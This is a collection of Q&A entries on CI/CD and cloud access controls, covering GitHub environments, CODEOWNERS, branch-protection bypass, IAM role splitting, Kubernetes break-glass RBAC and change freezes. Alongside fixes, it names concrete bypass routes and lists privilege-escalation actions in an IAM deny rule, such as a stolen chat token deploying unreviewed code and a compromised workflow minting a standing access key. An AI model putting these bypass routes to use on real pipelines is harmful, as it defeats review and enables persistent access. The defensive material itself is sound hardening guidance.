- run: ./deploy.sh ${{ inputs.digest }}
promote:
runs-on: ubuntu-latest
environment: prod # required reviewers fire here
steps:
- run: ./promote.sh ${{ inputs.digest }}
The slash command hits chatops. promote, the job carrying the gate, is never reached. The reviewer requirement lives on the environment, and the environment is only consulted by jobs that name it.
So the skipped control is the required-reviewer approval on prod, and with it the wait timer and any deployment-branch restriction that was set. Not "the human check": the environment binding.
Why it happens. ChatOps deploys usually get built as a separate workflow, because the slash-command handler needs a different trigger and a different token. Whoever wrote it copied the deploy steps but not the environment: line, or pointed at a prod-chatops environment that was created without rules. Either way the protection rule is inert.
Failure mode. A stolen Slack session, or a leaked bot token, runs /deploy prod checkout <digest>. No reviewer, no wait timer, no branch check. The digest ships. You learn it from the incident, not the audit log, because nothing recorded an approval that never happened.
Fix and its cost. Bind the ChatOps job to environment: prod. The slash command then queues and a reviewer approves in the GitHub UI: the same gate as the web path. The cost is latency: the deploy now waits on a human. In a small team that's minutes during working hours and unbounded at 3am, which is exactly why someone removed it. If that latency is unacceptable, keep the gate and make approval async (the command posts an approval link) rather than dropping it.
| Path | Binds environment: prod | Reviewers | Staging-green check |
|---|---|---|---|
| GitHub UI promote | yes | required | required |
/deploy (broken) | no | none | none |
/deploy (fixed) | yes | required | required |
How you'd verify. Trigger /deploy with a digest that isn't green on staging; it should be rejected with the same message the UI path gives. Then check the deployment API or audit log shows the run in a waiting state with a named approver before it proceeds.
Curated: · Written: · Reviewed:
Q&A-90A junior changed .github/workflows/prod.yml to skip integration. CODEOWNERS listed /src. Who reviewed the skip?
Direct answer
Nobody with pipeline ownership. The skip was reviewed by whoever approved the pull request: a developer with write access to the repo, not a platform or CI owner. CODEOWNERS listed /src/, and .github/workflows/prod.yml is not under /src/, so GitHub requested no code owner on that PR. With "Require review from Code Owners" enabled but no changed file carrying an owner, that requirement is satisfied by zero owner approvals; the PR merged on the plain required-approval count, which defaults to 1.
Why the path never matched
GitHub reads CODEOWNERS from the base branch (.github/CODEOWNERS, root CODEOWNERS, or docs/CODEOWNERS) and matches each changed file against the patterns. Rules are gitignore-like: a leading / anchors to the repo root, a trailing / matches a directory, and the last matching pattern wins. /src/ therefore matches src/checkout/Cart.java and nothing else.
| Changed file | Pattern that matches | Owner requested |
|---|---|---|
.github/workflows/prod.yml | none | — |
src/checkout/Cart.java | /src/ | @checkout-devs |
What actually gated the merge
Trace of PR #412, one file changed:
- Base branch
mainhas: Require a pull request ✓, Require approvals = 1, Require review from Code Owners ✓. - GitHub builds the owner set from the changed paths → empty.
- The code-owner requirement is vacuously met.
- A teammate with write access approves → 1/1.
- Merge allowed. Reviewer: the teammate.
So "who reviewed the skip" is: a peer with write access, and no one accountable for the pipeline.
Alternatives, and when they're enough
- Required status checks: block merge until CI passes, but the junior's change is to the CI definition itself, so the check it removes is the one that would have caught it. Weak here.
- Environment required reviewers: gates any job that declares
environment: prod. A workflow edit can delete that line, so it protects the deploy, not the file that defines it. - CODEOWNERS on the workflow path: the only one of the three that makes the edit itself need a specific approver. Use it when the file can change what runs in prod. If the workflow only runs unit tests on PRs, a required check is enough and an owner is overhead.
Detection
gh api repos/{owner}/{repo}/pulls/412/reviews --jq '.[].user.login' lists who approved. The org audit log records the merge and any protected_branch.policy_override bypass.
Fix
# .github/CODEOWNERS
/src/ @checkout-devs
/.github/workflows/ @platform
/.github/CODEOWNERS @platform
Owning CODEOWNERS itself matters: otherwise the next PR edits the ownership file and the gate disappears.
Curated: · Written: · Reviewed:
Q&A-91Required check is named integration. The job was renamed integration-v2. Merges now sit pending forever. What went wrong, and what is the actual bypass?
What went wrong
Branch protection doesn't track jobs, it tracks context strings. A required status check is satisfied only when some check run reports that exact name. Renaming the job from integration to integration-v2 changed the context the workflow posts. The required list still says integration, nothing reports integration again, so the PR sits at "Expected: Waiting for status to be reported" and never merges. It isn't a flake or a queue problem; the gate is waiting on a name that no longer exists.
For GitHub Actions the context is the job's name: (falling back to the job id), and matrix jobs append the values, e.g. test (3.12). Renaming the job, or renaming a matrix axis, silently changes the context.
The actual bypass
Editing branch protection. Remove integration from the required list and add integration-v2. That's the whole fix, and it's also the trap: the moment you delete the stale context, merges flow again. Including merges that never ran the new job. If integration-v2 is added but flaky, or added after the fact, you've swapped a hard block for no block.
Do it in the same PR as the rename: the PR that renames the job also updates the required contexts, so the gate is never absent.
Admin override ("merge without waiting") is a different lever. It only exists if the repo allows bypassing, and it leaves the stale context in place for the next person.
Trace
| Required list | Job posts | Result |
|---|---|---|
integration | integration-v2 | blocked, pending forever |
integration-v2 | integration-v2 | merges |
integration + integration-v2 | integration-v2 | still blocked on integration |
integration-v2 only, job flaked | nothing | merges with no integration status |
Failure modes
- Deleting the old context before the new job is proven. I've seen this:
integrationremoved so merges would flow,integration-v2then skipped, and 20 merges landed with no integration status at all. - Context collision. The context is just a string; any app or workflow that posts a check named
integration-v2satisfies the requirement. A leftover workflow still posting the old name can also satisfy a stale requirement. - Matrix renames.
test (3.11)→test (3.12)orphans the required context the same way.
Detection
A CI job that reads required contexts from the branch-protection API and asserts each one is produced by a job in the workflow files. Run it on every PR that touches workflows or protection. It fails on the rename PR before the merge, which is the only place the mismatch is cheap to fix.
Curated: · Written: · Reviewed:
Q&A-15The on-call is also the author of the release. Policy says four eyes. GitHub Environments need one reviewer. How do you actually get two?
The 90-second answer. GitHub Environments give you one thing: a deployment job that waits for a single approval from the required-reviewers list, and GitHub blocks the workflow-triggering actor from approving that deployment. That is not four eyes, because the triggering actor is not the author. The on-call pushes the commit as themselves, then queues the deploy from a bot or a second account; the actor is now the bot, GitHub lets the on-call approve, and author == approver. So keep the environment rule and add a gate step that runs after approval and before the deploy, reads three identities from the API, and fails unless they are distinct.
The gate.
jobs:
deploy:
environment: production # required reviewers: [platform-oncall]
steps:
- name: Four-eyes gate
env:
GH_TOKEN: ${{ secrets.FOUR_EYES_TOKEN }} # actions:read, contents:read
run: |
set -euo pipefail
repo="${{ github.repository }}"
run="${{ github.run_id }}"
sha="${{ github.sha }}"
actor=$(gh api "repos/$repo/actions/runs/$run" --jq .actor.login)
author=$(gh api "repos/$repo/commits/$sha" --jq .author.login)
mapfile -t approvers < <(gh api "repos/$repo/actions/runs/$run/approvals" --jq '.[].user.login')
for a in "${approvers[@]}"; do
if [ "$a" != "$actor" ] && [ "$a" != "$author" ]; then
echo "four eyes ok: author=$author actor=$actor approver=$a"
exit 0
fi
done
echo "no distinct approver: author=$author actor=$actor approvers=${approvers[*]}" >&2
exit 1
- name: Deploy
run: ./deploy.sh
The environment approval gates the whole job, so the gate step runs after the approval and before Deploy.
What each identity is.
| Identity | Source | Field |
|---|---|---|
| Author (wrote the commit) | GET /repos/{o}/{r}/commits/{sha} | .author.login |
| Actor (triggered the run) | GET /repos/{o}/{r}/actions/runs/{run_id} | .actor.login |
| Approver (approved the environment) | GET /repos/{o}/{r}/actions/runs/{run_id}/approvals | .[].user.login |
Two traces. (1) alice pushes the commit, queues the run from alice-deploy-bot. GitHub blocks the bot from approving, so alice approves. Gate sees author=alice, actor=alice-deploy-bot, approvers=[alice]; alice == author, exit 1, deploy blocked. (2) alice pushes and queues as alice; GitHub blocks alice from approving, bob approves. author=alice, actor=alice, approvers=[bob]; bob differs from both, exit 0.
Why Environments alone fall short. The only check they perform is actor != approver. The author is never consulted, so any deploy queued from an account other than the author's passes while the author approves. Listing a team as reviewer does not help: any member can approve, and the approval is recorded against that individual, which is exactly what the gate reads.
Trade-offs. Environments only: zero code, but blind to the bot-account case; fine when every deploy is queued by the author from their own account. The gate above: catches author == approver, needs a token with actions:read and contents:read, and cannot tell two humans apart if they share one bot account. A deploy system that stores approver identity natively (Argo CD, Spinnaker, Octopus) enforces distinct approvers and keeps the record, at the cost of a second control plane to audit. A CODEOWNER review on the release PR moves four eyes to the change itself rather than the promote, but does not cover hotfixes pushed straight to main. Skip all of it for a single-tenant service with one-command rollback where the on-call is the only person awake; a recorded break-glass is the honest answer there.
Failure modes. Shared bot account: actor is identical for both humans, so require the actor to be a user account (type == "User"). Self-editing workflow: if the gate uses the default GITHUB_TOKEN and the workflow file is unprotected, the author deletes the gate step; put the deploy workflow under a branch ruleset or CODEOWNERS so changing it needs review. Team reviewers: the author may be a member, so the gate must compare the recorded individual, not the team.
Break-glass. A second environment, production-break-glass, whose required reviewer is a different person (the incident commander), with a required reason input. The gate is skipped only for that environment, and the skip plus the reason go into the audit record.
Evidence. For the last 90 days, every production deployment's approver login differs from both the commit author and the run actor, except runs labeled break-glass.
Curated: · Written: · Reviewed:
Q&A-92The org has 6 people who can bypass branch protection. Two left the company. How do you keep the list true?
Assumption: GitHub, with org-level and repo-level rulesets plus any classic branch protection still in place. The list is "true" when every entry in every bypass list maps to a current, intended actor, and the only entries that stay true on their own are role-based ones.
Bypass lives in two places:
- Rulesets (org and repo). Each ruleset has a
bypass_actorsarray; each entry is{actor_id, actor_type, bypass_mode}.actor_typeis one ofOrganizationAdmin,RepositoryRole,Team,Integration(a GitHub App), orDeployKey;bypass_modeisalwaysorpull_request. - Classic branch protection.
required_pull_request_reviews.bypass_pull_request_allowances, holdingusers,teams,apps.
Why it survives HR offboarding: OrganizationAdmin and RepositoryRole are role references. Strip the person's role and the bypass evaporates. Team tracks team membership. But User and Integration entries are static IDs baked into the ruleset config. Removing someone from the org does not edit the ruleset; the entry just sits there. All the drift is in named-user and App entries.
So the fix is two moves: shrink the static surface, then reconcile what's left.
Shrink. Replace named-user bypass with OrganizationAdmin / RepositoryRole / Team wherever the intent is "people who hold this role." Keep a named user only where you genuinely mean one person, and treat each as a grant with an owner.
Reconcile. Pull every bypass list and diff against live membership.
# 1. every bypass actor in every org ruleset
gh api --paginate /orgs/acme/rulesets | jq -r '.[].id' | while read -r id; do
gh api "/orgs/acme/rulesets/$id" \
| jq -r --arg id "$id" \
'.bypass_actors[]? | [$id, .actor_type, (.actor_id|tostring), .bypass_mode] | @tsv'
done
# 2. live org members (id + login)
gh api --paginate /orgs/acme/members | jq -r '.[] | [.id, .login] | @tsv'
Join on actor_id. Any User actor whose id is not in the member list is a departed bypass actor: that is the two who left. Any Integration actor is an App; check it against the Apps you still install.
Trace. Ruleset 42 returns bypass_actors = [{actor_id: 1001, actor_type: "User", bypass_mode: "always"}, {actor_id: 1002, actor_type: "User", bypass_mode: "always"}, {actor_id: 2002, actor_type: "OrganizationAdmin", bypass_mode: "always"}]. The members list is [1001, 1003]. The join flags 1002, a named user who is no longer a member, and leaves 1001 and the role-based 2002 alone. That flagged row is the stale grant.
Detect an actual bypass. The org audit log emits protected_branch.policy_override when a bypass actor pushes past protection. Alert on that event, and on ruleset/protection update events, so a new bypass actor cannot be added quietly.
Trade-offs. A merge queue removes most of the reason to bypass: it serializes merges and re-runs CI, so "I need to merge now" usually becomes "I need to merge in three minutes." Keep bypass for genuine emergencies (rolling back a bad deploy, a security hotfix) and for trusted Apps (release automation, dependency bots), but scope an App to the specific ruleset, not org-wide, and review its installation like a user's grant.
Failure modes.
- Stale named-user entry after offboarding: caught by the diff above; the departed show up as orphan
actor_ids. - An App token outliving the person who installed it. The App is the actor, not the human; offboarding the human does not uninstall it. Check
Integrationactors against installed Apps. - Role-based bypass that looks safe but isn't:
OrganizationAdminmeans every org owner can bypass every ruleset that lists it. Thirty owners is thirty bypass actors.
Run the diff weekly and on every offboarding ticket. The offboarding checklist must say "remove from bypass lists," not just "remove GitHub seat."
Curated: · Written: · Reviewed:
Q&A-93The GitHub prod role is AdministratorAccess "so helm and terraform both work". What do you split?
Core answer (first 60–120 seconds). Split by tool and by blast radius. Three role families, none with AdministratorAccess: gha-helm-prod for Helm, one gha-tf-prod-<workspace> per Terraform workspace, and a human break-glass role behind MFA. The helm role gets ECR pull, eks:DescribeCluster, and Kubernetes RBAC to patch Deployments. Each Terraform role gets the exact service actions that workspace owns. The rule that does the real work: no CI role may hold iam:CreateUser, iam:CreateAccessKey, iam:PassRole to a broader role, or iam:PutRolePolicy on itself.
Assumptions: one AWS account per environment, GitHub OIDC already trusted, prod is a single account.
Why AdministratorAccess was there. Someone needed iam:PassRole for one Lambda deploy, or eks:CreateAddon once, added *, and the hotfix stayed. The role is not "so helm and terraform work": it is a bypass with a story attached.
The split.
| Role | Helm deploy | Terraform apply | iam:CreateUser |
|---|---|---|---|
AdministratorAccess (today) | yes | yes | yes |
gha-helm-prod | yes | no | no |
gha-tf-prod-net | no | VPC, subnets, SGs only | no |
gha-tf-prod-app | no | ECS, RDS, ALB only | no |
break-glass (human, MFA) | yes | yes | no |
The policy, concretely.
{
"Version": "2012-10-17",
"Statement": [
{"Effect": "Allow", "Action": ["ecr:GetAuthorizationToken"], "Resource": "*"},
{"Effect": "Allow",
"Action": ["ecr:BatchGetImage", "ecr:GetDownloadUrlForLayer", "ecr:BatchCheckLayerAvailability"],
"Resource": "arn:aws:ecr:us-east-1:111122223333:repository/prod-api"},
{"Effect": "Allow", "Action": ["eks:DescribeCluster"],
"Resource": "arn:aws:eks:us-east-1:111122223333:cluster/prod"},
{"Effect": "Deny",
"Action": ["iam:CreateUser", "iam:CreateAccessKey", "iam:CreateLoginProfile",
"iam:UpdateAssumeRolePolicy", "iam:PutRolePolicy", "iam:AttachRolePolicy",
"iam:PassRole"],
"Resource": "*"}
]
}
ecr:GetAuthorizationToken has to be Resource: "*": it does not support resource-level scoping. The rest is scoped to the one repo and one cluster.
Why the deny matters more than the allow. OIDC session credentials expire: default one hour. An IAM user's access key does not. A compromised workflow with admin runs iam:CreateUser, then iam:CreateAccessKey, and walks away with a key that outlives the run. Blast radius goes from a one-hour window to indefinite, and it survives revoking the OIDC trust. That is the failure I have seen: 90 seconds from workflow start to a working static key, when helm only needed to patch one Deployment.
Alternatives, and when broader is right. One role plus a permissions boundary and condition keys (aws:PrincipalOrgID, aws:RequestedRegion) is fewer moving parts than a role per workspace. The cost is that the boundary is one file whose edit is a prod-wide change, and it does not stop iam:PassRole to a role outside it unless you deny that explicitly. Per-workspace roles cost maintenance: every new service is a PR to the IAM repo, and stale roles accumulate. Broader access is justified for exactly one thing: the Terraform bootstrap role that creates the state bucket and the OIDC provider. It genuinely needs iam:CreateRole and iam:AttachRolePolicy. Give it its own role, run it rarely, alarm on every use.
Failure modes and detection. Role chaining via sts:AssumeRole into something broader; iam:PassRole to a role with more access; self-escalation via iam:PutRolePolicy; editing the trust policy to add an external account. Detect with CloudTrail on iam:* and sts:AssumeRole, IAM Access Analyzer unused-permission findings to delete what nothing calls, and a CI check that fails any CI role whose policy contains * on iam.
If the deploy role can create users, the pipeline is an IdP. Prove the split with the policy simulator: the helm role cannot iam:CreateUser, and Access Analyzer reports no admin on any CI role.
Curated: · Written: · Reviewed:
Q&A-96Someone needs kubectl in prod now. What does the grant look like so it is not standing admin?
Assumptions: prod is a namespace in a shared cluster, the engineer already has an SSO identity, and you have an audit pipeline. If any of those is false, say so before granting anything.
The grant is a namespaced RoleBinding to a narrow Role, created just-in-time by an approver, with expiry enforced outside RBAC, and every request captured by API audit. Not a ClusterRoleBinding to cluster-admin, not a group membership.
The mechanism, because this is where people get it wrong: Kubernetes RBAC has no TTL. A RoleBinding lives until something deletes it. So "60-minute binding" is only true if a controller, a CronJob, or an identity provider is doing the deleting. Name that component out loud in the interview, or you have described a permanent grant with a hopeful label.
The Role: namespaced, no secrets, no cluster-scoped verbs:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: prod-breakglass
namespace: prod
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["pods/exec", "pods/portforward"]
verbs: ["create"]
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "patch"]
patch on deployments is there so the on-call can restart a rollout without delete. secrets is deliberately absent: reading a secret is a different approval.
The binding and its expiry. The controller does the same call a human would:
kubectl -n prod create rolebinding bg-alice-20260611 \
--role=prod-breakglass --user=alice@corp.example
A small controller (or a CronJob every minute) lists RoleBindings labelled breakglass=true, reads the expires-at annotation, and deletes anything past it. Teleport, or an IdP with time-bound group membership (Okta, Entra PIM), does the same job with session recording attached, if you already run one, use it instead of writing the controller.
Audit. The API server logs the pods/exec request but not the bytes of the interactive stream. Session recording needs a proxy in front of the API server; API audit alone gives you who, when, and which pod.
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
resources:
- group: ""
resources: ["pods/exec", "pods/portforward", "secrets"]
omitStages: ["RequestReceived"]
RequestResponse on pods/exec gives you user.username, objectRef, and responseStatus per call. Ship it to the SIEM with the ticket id as a label on the binding.
Verification, not vibes. Two queries:
kubectl get clusterrolebindings -o json \
| jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?.name'
kubectl get rolebindings -A -l breakglass=true
The first should be empty outside an active window; the second should be empty at rest. Run both daily and alert on non-empty.
Trade-offs. JIT binding is the right default when you have a controller or an IdP to enforce expiry. If you cannot run either, a short-lived OIDC token from your IdP is better than a binding nobody deletes: the token expires on its own. Standing group membership is the thing you are trying to avoid; the failure mode is a "temporary" cluster-admin membership from a March incident still present in September, used to disable NetworkPolicies. The other failure mode is a role broad enough that the JIT window is theatre: secrets read or delete on pods turns a 60-minute window into a 60-minute cluster-admin.
What I would not do: self-approval, a binding without an expires-at annotation, or recording only in a wiki page written after the fact.
Curated: · Written: · Reviewed:
Q&A-69Policy bans Friday production. A Sev-1 on Saturday had no pipeline because "we don't deploy". What should exist?
What should exist is a deploy path that is open on Saturday and closed to unreviewed change, not a closed pipeline. Concretely: the same pipeline that ships on Tuesday, able to promote an artifact that was already built and tested, gated by a freeze-exception approval that records who approved, why, and which digest, with smoke and rollback running exactly as they do on a weekday.
The mechanism is separating build from promote. Build runs on every merge to main and produces an immutable artifact: a container image referenced by digest, plus its SBOM and provenance. Promote is a separate job that takes (digest, environment) and does four things in order: policy check, approval, deploy, smoke, record. The freeze is one policy check inside promote, not a property of the pipeline. On Saturday the pipeline is up; the only thing that changes is that the policy check returns "freeze active, exception required."
The exception is itself an auditable object: approver identity, ticket, digest, expiry. Require an approver who is not the author, and for a Sev-1, one approver plus the incident channel is enough: two-person sign-off at 02:00 costs more than it buys.
| Path | Artifact | Approval | Rollback | Audit |
|---|---|---|---|---|
| Normal weekday | digest from main | CI gates only | previous digest | deploy record |
| Freeze exception | same digest | recorded exception | previous digest | deploy record + exception |
| Break-glass SSH | laptop build | none | none known | shell history |
# promote.sh <digest> <env>
if freeze_active "$env" && ! exception_approved "$digest"; then
echo "freeze active: open an exception ticket"; exit 1
fi
kubectl -n prod set image deploy/api api=registry/api@$digest
./smoke.sh || { rollback "$env"; exit 1; }
echo "$digest $(whoami) $(date -u +%FT%TZ)" >> deploy.log
Trace it: Saturday 02:14, digest sha256:9f3c… was built Thursday and already passed CI. freeze_active returns true, exception_approved returns false, the job exits 1: nothing ships. The engineer opens an exception, an approver signs it, the job reruns: policy passes, the exact Thursday digest is set, smoke passes, the record is appended. Rollback target is the previous digest in deploy.log.
Alternatives, and when each wins. The exception process above is the default: cheap, reuses a tested artifact, but it depends on an approver being reachable and on the artifact already existing. A pre-staged weekend release train: cut a release candidate Thursday, keep it deployable all weekend, cherry-pick the Saturday fix onto it and rebuild: is better when weekend work is routine; it costs a rebuild-and-retest cycle (20–40 minutes) and a second artifact lineage to track. Feature flags ship the fix dark on Thursday and flip it Saturday; best when the change sits behind a flag, useless when the bug is in flag evaluation or the fix is infrastructure-level. Break-glass SSH is defensible only as a last resort with a mandatory follow-up that rebuilds the change through the pipeline within one business day.
Choose the exception process as the default; add the release train if weekend changes are routine; use flags when the change is code behind a flag; never let SSH be the only path.
The failure mode to name: the Saturday kubectl set image of a laptop build. No SBOM, no provenance, no known rollback digest, and running state diverges from main so the next normal deploy silently reverts the fix. Detect it with a drift check that compares running image digests against the last promoted digest and alerts on any digest missing from the provenance store.
A tabletop is the evidence: freeze-exception ticket, promote of an existing digest, smoke, Monday audit. If the only Saturday path is SSH, the freeze taught the wrong lesson.
Curated: · Written: · Reviewed:
Q&A-70CAB meets Thursdays. GitOps promotes 12 times a day. How do they coexist without a fake screenshot after the fact?
The 60-second answer. CAB and GitOps stop fighting once you stop treating CAB as an approver of individual deploys. CAB owns the change class and the gate; the pipeline owns each promote. Standard-risk changes (image bumps, config, replica counts) are pre-approved by policy: a reviewed PR, a sync window, and RBAC that only the deploy role can sync. High-risk changes (schema migrations, IAM, network policy) need a named human approval before the sync, recorded in the same system that deploys. The Thursday meeting then reviews the week's high-risk changes and exceptions, not a spreadsheet of digests it never saw.
Mechanism. In Argo CD the gate is AppProject.spec.syncWindows:
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
name: prod
spec:
syncWindows:
- kind: allow
schedule: "0 9 * * 1-5" # 09:00-17:00 Mon-Fri
duration: 8h
applications: ["*"]
- kind: deny
schedule: "0 0 * * 5" # Friday freeze
duration: 24h
applications: ["*"]
manualSync: true # approved humans can still sync
Once any allow window exists, syncs outside it are denied; deny windows override allow windows, and manualSync: true on the deny window lets an approved human push through the freeze. Argo CD keeps the last 10 deployed revisions per Application (revisionHistoryLimit, default 10), each with its revision and deployedAt, so the digest live at 17:40 Friday is recoverable from the Application, not from a screenshot.
Argo CD has no built-in two-person rule, so the approval comes from the layer above: a GitHub environment with required reviewers, or CODEOWNERS on the prod overlay. That approval is timestamped in GitHub's audit log (90 days by default: stream it to your SIEM if your audit window is longer).
On Flux there are no sync windows. The gate is spec.suspend: true on the prod Kustomization, released by an explicit flux reconcile kustomization prod --with-source, plus the same PR approval.
What the record looks like.
| Change class | Gate before sync | Approver | Record |
|---|---|---|---|
| Standard | PR approval + allow window | CODEOWNERS reviewer | commit SHA, PR approval time |
| High-risk | manual sync, outside window | named on-call + CAB delegate | approval event, digest, rollback command |
Failure mode. Twelve promotes a day and a Thursday CAB that approved a spreadsheet: an auditor asks for the digest live at 17:40 Friday and nobody can show an approval that predates it. The fix is not a better PDF: it is that every production revision has an approval event timestamped earlier than its deployedAt, in the same system that did the deploy. If you cannot produce that pair, the change was not approved, whatever the minutes say.
Curated: · Written: · Reviewed:
Q&A-77The golden path cannot run a privileged DaemonSet that security approved for one team. They copied a blank cluster. How do you allow the exception?
The 90-second answer
The exception has to live in the repo that builds the cluster, or the next blank cluster won't have it. I'd scope it to the workload, not the namespace, and give it an expiry that CI enforces.
First, what's actually blocking it. The golden path's privileged-pod block is a policy: either Pod Security Admission's restricted level on the namespace, or a Kyverno/Gatekeeper rule. PSA is namespace-scoped and has no per-workload exemption: flipping the namespace to privileged would let every pod in it run privileged. Wrong blast radius. So I keep the namespace at baseline and add a policy-engine exception that matches only the Pods this DaemonSet creates (admission runs on Pods, not on the DaemonSet object).
With Kyverno (kyverno.io/v2beta1, Kyverno 1.10+, controller started with --enablePolicyException):
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: payments-nvme-agent
namespace: payments
labels:
until: "2026-10-01"
spec:
exceptions:
- policyName: disallow-privileged
ruleNames: ["privileged-containers"]
match:
any:
- resources:
kinds: [Pod]
namespaces: [payments]
selector:
matchLabels:
app: nvme-agent
Gatekeeper's equivalent is a constraint with spec.match.excludedNamespaces plus a label/kind match: same shape, narrower match.
Then the expiry. The exception carries until as a label, and a CI step in the platform repo parses every exception and fails the build when until is in the past. The policy engine grants; CI revokes. A nightly CronJob runs the same check against the live cluster and pages the owning team, because a cluster drifts from the repo.
RBAC: the DaemonSet's ServiceAccount gets a ClusterRole with only the verbs it needs. Typically get/list/watch on the specific resource, not *. The deployer identity needs create/update on apps/v1 DaemonSets in that namespace only.
Trade-offs
| Option | Blast radius | Reproducible from repo | Expiry |
|---|---|---|---|
Namespace PSA privileged | every pod in the namespace | yes | none |
| Policy-engine exception | one workload | yes | CI-enforced |
| Dedicated node pool + taint | one node pool | yes | none |
The node-pool option is the right answer when the workload needs host access permanently, then it isn't an exception, it's a platform tier. I'd refuse the exception outright if the DaemonSet needs hostPID plus a writable hostPath to /, or if the team can't name an owner and a removal date.
Failure mode I've seen: a "temporary" privileged ServiceAccount from 2024 still in the namespace, and it was the identity that deployed an unsigned image. The exception outlived the reason because nothing failed when it expired.
Done when: every privileged workload in prod is matched by an exception object with a future until, or CI is red.
Curated: · Written: · Reviewed: